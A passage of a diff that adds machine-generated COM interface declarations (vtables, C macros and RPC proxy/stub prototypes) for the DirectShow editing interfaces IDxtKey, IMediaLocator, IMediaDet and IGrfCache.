STDMETHODCALLTYPE *QueryInterface )( + IDxtKey * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDxtKey * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDxtKey * This); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( + IDxtKey * This, + /* [out] */ UINT *pctinfo); + + HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( + IDxtKey * This, + /* [in] */ UINT iTInfo, + /* [in] */ LCID lcid, + /* [out] */ ITypeInfo **ppTInfo); + + HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( + IDxtKey * This, + /* [in] */ REFIID riid, + /* [size_is][in] */ LPOLESTR *rgszNames, + /* [in] */ UINT cNames, + /* [in] */ LCID lcid, + /* [size_is][out] */ DISPID *rgDispId); + + /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( + IDxtKey * This, + /* [in] */ DISPID dispIdMember, + /* [in] */ REFIID riid, + /* [in] */ LCID lcid, + /* [in] */ WORD wFlags, + /* [out][in] */ DISPPARAMS *pDispParams, + /* [out] */ VARIANT *pVarResult, + /* [out] */ EXCEPINFO *pExcepInfo, + /* [out] */ UINT *puArgErr); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Capabilities )( + IDxtKey * This, + /* [retval][out] */ long *pVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Progress )( + IDxtKey * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Progress )( + IDxtKey * This, + /* [in] */ float newVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_StepResolution )( + IDxtKey * This, + /* [retval][out] */ float *pVal); + + /* [id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Duration )( + IDxtKey * This, + /* [retval][out] */ float *pVal); + + /* [id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Duration )( + IDxtKey * This, + /* [in] */ float newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyType )( + IDxtKey * This, + /* [retval][out] */ int *__MIDL_0031); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyType )( + IDxtKey * This, + /* [in] */ int __MIDL_0032); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Hue )( + IDxtKey * This, + /* [retval][out] */ int *__MIDL_0033); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Hue )( + IDxtKey * This, + /* [in] */ int __MIDL_0034); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Luminance )( + IDxtKey * This, + /* [retval][out] */ int *__MIDL_0035); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Luminance )( + IDxtKey * This, + /* [in] */ int __MIDL_0036); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RGB )( + IDxtKey * This, + /* [retval][out] */ DWORD *__MIDL_0037); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_RGB )( + IDxtKey * This, + /* [in] */ DWORD __MIDL_0038); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Similarity )( + IDxtKey * This, + /* [retval][out] */ int *__MIDL_0039); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Similarity )( + IDxtKey * This, + /* [in] */ int __MIDL_0040); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Invert )( + IDxtKey * This, + /* [retval][out] */ BOOL *__MIDL_0041); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Invert )( + IDxtKey * This, + /* [in] */ BOOL __MIDL_0042); + + END_INTERFACE + } IDxtKeyVtbl; + + interface IDxtKey + { + CONST_VTBL struct IDxtKeyVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IDxtKey_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IDxtKey_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IDxtKey_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IDxtKey_GetTypeInfoCount(This,pctinfo) \ + (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) + +#define IDxtKey_GetTypeInfo(This,iTInfo,lcid,ppTInfo) \ + (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) + +#define IDxtKey_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) \ + (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) + +#define IDxtKey_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) \ + (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) + + +#define IDxtKey_get_Capabilities(This,pVal) \ + (This)->lpVtbl -> get_Capabilities(This,pVal) + +#define IDxtKey_get_Progress(This,pVal) \ + (This)->lpVtbl -> get_Progress(This,pVal) + +#define IDxtKey_put_Progress(This,newVal) \ + (This)->lpVtbl -> put_Progress(This,newVal) + +#define IDxtKey_get_StepResolution(This,pVal) \ + (This)->lpVtbl -> get_StepResolution(This,pVal) + +#define IDxtKey_get_Duration(This,pVal) \ + (This)->lpVtbl -> get_Duration(This,pVal) + +#define IDxtKey_put_Duration(This,newVal) \ + (This)->lpVtbl -> put_Duration(This,newVal) + + +#define IDxtKey_get_KeyType(This,__MIDL_0031) \ + (This)->lpVtbl -> get_KeyType(This,__MIDL_0031) + +#define IDxtKey_put_KeyType(This,__MIDL_0032) \ + (This)->lpVtbl -> put_KeyType(This,__MIDL_0032) + +#define IDxtKey_get_Hue(This,__MIDL_0033) \ + (This)->lpVtbl -> get_Hue(This,__MIDL_0033) + +#define IDxtKey_put_Hue(This,__MIDL_0034) \ + (This)->lpVtbl -> put_Hue(This,__MIDL_0034) + +#define IDxtKey_get_Luminance(This,__MIDL_0035) \ + (This)->lpVtbl -> get_Luminance(This,__MIDL_0035) + +#define IDxtKey_put_Luminance(This,__MIDL_0036) \ + (This)->lpVtbl -> put_Luminance(This,__MIDL_0036) + +#define IDxtKey_get_RGB(This,__MIDL_0037) \ + (This)->lpVtbl -> get_RGB(This,__MIDL_0037) + +#define IDxtKey_put_RGB(This,__MIDL_0038) \ + (This)->lpVtbl -> put_RGB(This,__MIDL_0038) + +#define IDxtKey_get_Similarity(This,__MIDL_0039) \ + (This)->lpVtbl -> get_Similarity(This,__MIDL_0039) + +#define IDxtKey_put_Similarity(This,__MIDL_0040) \ + (This)->lpVtbl -> put_Similarity(This,__MIDL_0040) + +#define IDxtKey_get_Invert(This,__MIDL_0041) \ + (This)->lpVtbl -> get_Invert(This,__MIDL_0041) + +#define IDxtKey_put_Invert(This,__MIDL_0042) \ + (This)->lpVtbl -> put_Invert(This,__MIDL_0042) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtKey_get_KeyType_Proxy( + IDxtKey * This, + /* [retval][out] */ int *__MIDL_0031); + + +void __RPC_STUB IDxtKey_get_KeyType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtKey_put_KeyType_Proxy( + IDxtKey * This, + /* [in] */ int __MIDL_0032); + + +void __RPC_STUB IDxtKey_put_KeyType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtKey_get_Hue_Proxy( + IDxtKey * This, + /* [retval][out] */ int *__MIDL_0033); + + +void __RPC_STUB IDxtKey_get_Hue_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtKey_put_Hue_Proxy( + IDxtKey * This, + /* [in] */ int __MIDL_0034); + + +void __RPC_STUB IDxtKey_put_Hue_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtKey_get_Luminance_Proxy( + IDxtKey * This, + /* [retval][out] */ int *__MIDL_0035); + + +void __RPC_STUB IDxtKey_get_Luminance_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtKey_put_Luminance_Proxy( + IDxtKey * This, + /* [in] */ int __MIDL_0036); + + +void __RPC_STUB IDxtKey_put_Luminance_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtKey_get_RGB_Proxy( + IDxtKey * This, + /* [retval][out] */ DWORD *__MIDL_0037); + + +void __RPC_STUB IDxtKey_get_RGB_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtKey_put_RGB_Proxy( + IDxtKey * This, + /* [in] */ DWORD __MIDL_0038); + + +void __RPC_STUB IDxtKey_put_RGB_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtKey_get_Similarity_Proxy( + IDxtKey * This, + /* [retval][out] */ int *__MIDL_0039); + + +void __RPC_STUB IDxtKey_get_Similarity_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtKey_put_Similarity_Proxy( + IDxtKey * This, + /* [in] */ int __MIDL_0040); + + +void __RPC_STUB IDxtKey_put_Similarity_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IDxtKey_get_Invert_Proxy( + IDxtKey * This, + /* [retval][out] */ BOOL *__MIDL_0041); + + +void __RPC_STUB IDxtKey_get_Invert_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IDxtKey_put_Invert_Proxy( + IDxtKey * This, + /* [in] */ BOOL __MIDL_0042); + + +void __RPC_STUB IDxtKey_put_Invert_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IDxtKey_INTERFACE_DEFINED__ */ + + +#ifndef __IMediaLocator_INTERFACE_DEFINED__ +#define __IMediaLocator_INTERFACE_DEFINED__ + +/* interface IMediaLocator */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IMediaLocator; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("288581E0-66CE-11d2-918F-00C0DF10D434") + IMediaLocator : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE FindMediaFile( + BSTR Input, + BSTR FilterString, + BSTR *pOutput, + long Flags) = 0; + + virtual HRESULT STDMETHODCALLTYPE AddFoundLocation( + BSTR DirectoryName) = 0; + + }; + +#else /* C style interface */ + + typedef struct IMediaLocatorVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IMediaLocator * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IMediaLocator * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IMediaLocator * This); + + HRESULT ( STDMETHODCALLTYPE *FindMediaFile )( + IMediaLocator * This, + BSTR Input, + BSTR FilterString, + BSTR *pOutput, + long Flags); + + HRESULT ( STDMETHODCALLTYPE *AddFoundLocation )( + IMediaLocator * This, + BSTR DirectoryName); + + END_INTERFACE + } IMediaLocatorVtbl; + + interface IMediaLocator + { + CONST_VTBL struct IMediaLocatorVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IMediaLocator_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IMediaLocator_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IMediaLocator_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IMediaLocator_FindMediaFile(This,Input,FilterString,pOutput,Flags) \ + (This)->lpVtbl -> FindMediaFile(This,Input,FilterString,pOutput,Flags) + +#define IMediaLocator_AddFoundLocation(This,DirectoryName) \ + (This)->lpVtbl -> AddFoundLocation(This,DirectoryName) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IMediaLocator_FindMediaFile_Proxy( + IMediaLocator * This, + BSTR Input, + BSTR FilterString, + BSTR *pOutput, + long Flags); + + +void __RPC_STUB IMediaLocator_FindMediaFile_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IMediaLocator_AddFoundLocation_Proxy( + IMediaLocator * This, + BSTR DirectoryName); + + +void __RPC_STUB IMediaLocator_AddFoundLocation_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IMediaLocator_INTERFACE_DEFINED__ */ + + +#ifndef __IMediaDet_INTERFACE_DEFINED__ +#define __IMediaDet_INTERFACE_DEFINED__ + +/* interface IMediaDet */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IMediaDet; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("65BD0710-24D2-4ff7-9324-ED2E5D3ABAFA") + IMediaDet : public IUnknown + { + public: + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Filter( + /* [retval][out] */ IUnknown **pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_Filter( + /* [in] */ IUnknown *newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_OutputStreams( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_CurrentStream( + /* [retval][out] */ long *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_CurrentStream( + /* [in] */ long newVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_StreamType( + /* [retval][out] */ GUID *pVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_StreamTypeB( + /* [retval][out] */ BSTR *pVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_StreamLength( + /* [retval][out] */ double *pVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Filename( + /* [retval][out] */ BSTR *pVal) = 0; + + virtual /* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE put_Filename( + /* [in] */ BSTR newVal) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE GetBitmapBits( + double StreamTime, + long *pBufferSize, + char *pBuffer, + long Width, + long Height) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE WriteBitmapBits( + double StreamTime, + long Width, + long Height, + BSTR Filename) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_StreamMediaType( + /* [retval][out] */ AM_MEDIA_TYPE *pVal) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE GetSampleGrabber( + /* [out] */ ISampleGrabber **ppVal) = 0; + + virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_FrameRate( + /* [retval][out] */ double *pVal) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE EnterBitmapGrabMode( + double SeekTime) = 0; + + }; + +#else /* C style interface */ + + typedef struct IMediaDetVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IMediaDet * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IMediaDet * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IMediaDet * This); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Filter )( + IMediaDet * This, + /* [retval][out] */ IUnknown **pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Filter )( + IMediaDet * This, + /* [in] */ IUnknown *newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_OutputStreams )( + IMediaDet * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CurrentStream )( + IMediaDet * This, + /* [retval][out] */ long *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CurrentStream )( + IMediaDet * This, + /* [in] */ long newVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_StreamType )( + IMediaDet * This, + /* [retval][out] */ GUID *pVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_StreamTypeB )( + IMediaDet * This, + /* [retval][out] */ BSTR *pVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_StreamLength )( + IMediaDet * This, + /* [retval][out] */ double *pVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Filename )( + IMediaDet * This, + /* [retval][out] */ BSTR *pVal); + + /* [helpstring][id][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Filename )( + IMediaDet * This, + /* [in] */ BSTR newVal); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *GetBitmapBits )( + IMediaDet * This, + double StreamTime, + long *pBufferSize, + char *pBuffer, + long Width, + long Height); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *WriteBitmapBits )( + IMediaDet * This, + double StreamTime, + long Width, + long Height, + BSTR Filename); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_StreamMediaType )( + IMediaDet * This, + /* [retval][out] */ AM_MEDIA_TYPE *pVal); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *GetSampleGrabber )( + IMediaDet * This, + /* [out] */ ISampleGrabber **ppVal); + + /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_FrameRate )( + IMediaDet * This, + /* [retval][out] */ double *pVal); + + /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *EnterBitmapGrabMode )( + IMediaDet * This, + double SeekTime); + + END_INTERFACE + } IMediaDetVtbl; + + interface IMediaDet + { + CONST_VTBL struct IMediaDetVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IMediaDet_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IMediaDet_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IMediaDet_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IMediaDet_get_Filter(This,pVal) \ + (This)->lpVtbl -> get_Filter(This,pVal) + +#define IMediaDet_put_Filter(This,newVal) \ + (This)->lpVtbl -> put_Filter(This,newVal) + +#define IMediaDet_get_OutputStreams(This,pVal) \ + (This)->lpVtbl -> get_OutputStreams(This,pVal) + +#define IMediaDet_get_CurrentStream(This,pVal) \ + (This)->lpVtbl -> get_CurrentStream(This,pVal) + +#define IMediaDet_put_CurrentStream(This,newVal) \ + (This)->lpVtbl -> put_CurrentStream(This,newVal) + +#define IMediaDet_get_StreamType(This,pVal) \ + (This)->lpVtbl -> get_StreamType(This,pVal) + +#define IMediaDet_get_StreamTypeB(This,pVal) \ + (This)->lpVtbl -> get_StreamTypeB(This,pVal) + +#define IMediaDet_get_StreamLength(This,pVal) \ + (This)->lpVtbl -> get_StreamLength(This,pVal) + +#define IMediaDet_get_Filename(This,pVal) \ + (This)->lpVtbl -> get_Filename(This,pVal) + +#define IMediaDet_put_Filename(This,newVal) \ + (This)->lpVtbl -> put_Filename(This,newVal) + +#define IMediaDet_GetBitmapBits(This,StreamTime,pBufferSize,pBuffer,Width,Height) \ + (This)->lpVtbl -> GetBitmapBits(This,StreamTime,pBufferSize,pBuffer,Width,Height) + +#define IMediaDet_WriteBitmapBits(This,StreamTime,Width,Height,Filename) \ + (This)->lpVtbl -> WriteBitmapBits(This,StreamTime,Width,Height,Filename) + +#define IMediaDet_get_StreamMediaType(This,pVal) \ + (This)->lpVtbl -> get_StreamMediaType(This,pVal) + +#define IMediaDet_GetSampleGrabber(This,ppVal) \ + (This)->lpVtbl -> GetSampleGrabber(This,ppVal) + +#define IMediaDet_get_FrameRate(This,pVal) \ + (This)->lpVtbl -> get_FrameRate(This,pVal) + +#define IMediaDet_EnterBitmapGrabMode(This,SeekTime) \ + (This)->lpVtbl -> EnterBitmapGrabMode(This,SeekTime) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IMediaDet_get_Filter_Proxy( + IMediaDet * This, + /* [retval][out] */ IUnknown **pVal); + + +void __RPC_STUB IMediaDet_get_Filter_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IMediaDet_put_Filter_Proxy( + IMediaDet * This, + /* [in] */ IUnknown *newVal); + + +void __RPC_STUB IMediaDet_put_Filter_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IMediaDet_get_OutputStreams_Proxy( + IMediaDet * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IMediaDet_get_OutputStreams_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IMediaDet_get_CurrentStream_Proxy( + IMediaDet * This, + /* [retval][out] */ long *pVal); + + +void __RPC_STUB IMediaDet_get_CurrentStream_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IMediaDet_put_CurrentStream_Proxy( + IMediaDet * This, + /* [in] */ long newVal); + + +void __RPC_STUB IMediaDet_put_CurrentStream_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IMediaDet_get_StreamType_Proxy( + IMediaDet * This, + /* [retval][out] */ GUID *pVal); + + +void __RPC_STUB IMediaDet_get_StreamType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IMediaDet_get_StreamTypeB_Proxy( + IMediaDet * This, + /* [retval][out] */ BSTR *pVal); + + +void __RPC_STUB IMediaDet_get_StreamTypeB_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IMediaDet_get_StreamLength_Proxy( + IMediaDet * This, + /* [retval][out] */ double *pVal); + + +void __RPC_STUB IMediaDet_get_StreamLength_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IMediaDet_get_Filename_Proxy( + IMediaDet * This, + /* [retval][out] */ BSTR *pVal); + + +void __RPC_STUB IMediaDet_get_Filename_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propput] */ HRESULT STDMETHODCALLTYPE IMediaDet_put_Filename_Proxy( + IMediaDet * This, + /* [in] */ BSTR newVal); + + +void __RPC_STUB IMediaDet_put_Filename_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IMediaDet_GetBitmapBits_Proxy( + IMediaDet * This, + double StreamTime, + long *pBufferSize, + char *pBuffer, + long Width, + long Height); + + +void __RPC_STUB IMediaDet_GetBitmapBits_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IMediaDet_WriteBitmapBits_Proxy( + IMediaDet * This, + double StreamTime, + long Width, + long Height, + BSTR Filename); + + +void __RPC_STUB IMediaDet_WriteBitmapBits_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IMediaDet_get_StreamMediaType_Proxy( + IMediaDet * This, + /* [retval][out] */ AM_MEDIA_TYPE *pVal); + + +void __RPC_STUB IMediaDet_get_StreamMediaType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IMediaDet_GetSampleGrabber_Proxy( + IMediaDet * This, + /* [out] */ ISampleGrabber **ppVal); + + +void __RPC_STUB IMediaDet_GetSampleGrabber_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE IMediaDet_get_FrameRate_Proxy( + IMediaDet * This, + /* [retval][out] */ double *pVal); + + +void __RPC_STUB IMediaDet_get_FrameRate_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IMediaDet_EnterBitmapGrabMode_Proxy( + IMediaDet * This, + double SeekTime); + + +void __RPC_STUB IMediaDet_EnterBitmapGrabMode_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IMediaDet_INTERFACE_DEFINED__ */ + + +#ifndef __IGrfCache_INTERFACE_DEFINED__ +#define __IGrfCache_INTERFACE_DEFINED__ + +/* interface IGrfCache */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IGrfCache; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("AE9472BE-B0C3-11D2-8D24-00A0C9441E20") + IGrfCache : public IDispatch + { + public: + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE AddFilter( + IGrfCache *ChainedCache, + LONGLONG ID, + const IBaseFilter *pFilter, + LPCWSTR pName) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE ConnectPins( + IGrfCache *ChainedCache, + LONGLONG PinID1, + const IPin *pPin1, + LONGLONG PinID2, + const IPin *pPin2) = 0; + + virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE SetGraph( + const IGraphBuilder *pGraph) = 0; + + virtual /* [helpstring][id] 